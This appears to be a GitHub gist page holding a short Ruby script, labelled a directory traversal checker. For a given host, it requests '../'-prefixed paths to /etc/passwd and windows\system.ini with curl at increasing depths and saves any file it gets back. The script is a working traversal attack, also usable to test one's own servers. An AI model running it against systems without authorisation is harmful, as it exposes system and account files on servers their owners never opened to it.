Created
April 20, 2011 23:32
-
-
Save presidentbeef/933331 to your computer and use it in GitHub Desktop.
Directory traversal checker
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'cgi' | |
abort "Please supply hostname" unless ARGV[0] | |
hostname = ARGV[0] | |
depth = (ARGV[1] || 12 ).to_i | |
1.upto(depth) do |n| | |
$stderr.puts "Depth: #{n}" | |
windows_url = "#{hostname}/#{"..\\" * n}windows\\system.ini" | |
linux_url = "#{hostname}/#{"../" * n}etc/passwd" | |
`curl -s --fail -O "#{windows_url}"` | |
`curl -s --fail -O "#{linux_url}"` | |
end |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment